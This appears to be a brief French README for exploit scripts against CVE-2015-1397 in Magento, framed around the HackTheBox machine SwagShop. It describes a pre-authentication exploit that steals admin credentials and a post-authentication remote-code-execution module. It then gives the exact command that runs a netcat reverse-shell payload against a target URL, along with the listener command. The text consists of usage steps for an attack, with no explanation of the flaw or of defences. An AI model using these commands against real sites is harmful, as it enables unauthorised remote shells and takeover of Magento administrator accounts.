
Scripts d'exploitation pour CVE-2015-1397 dans Magento CMS, y compris un exploit pré-authentification pour obtenir des identifiants administrateur et un module RCE post-authentification pour l'exécution d'un shell inverse.
Vulnérabilité telle que vue dans HackTheBox - SwagShop
Obtenir les identifiants administrateur pour le tableau de bord Magento CMS
Avec les identifiants obtenus à partir d'exploit.py ajoutés à post_auth.py, exécutez :
python3 post_auth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f"
Écouteur :
nc -lvnp 4444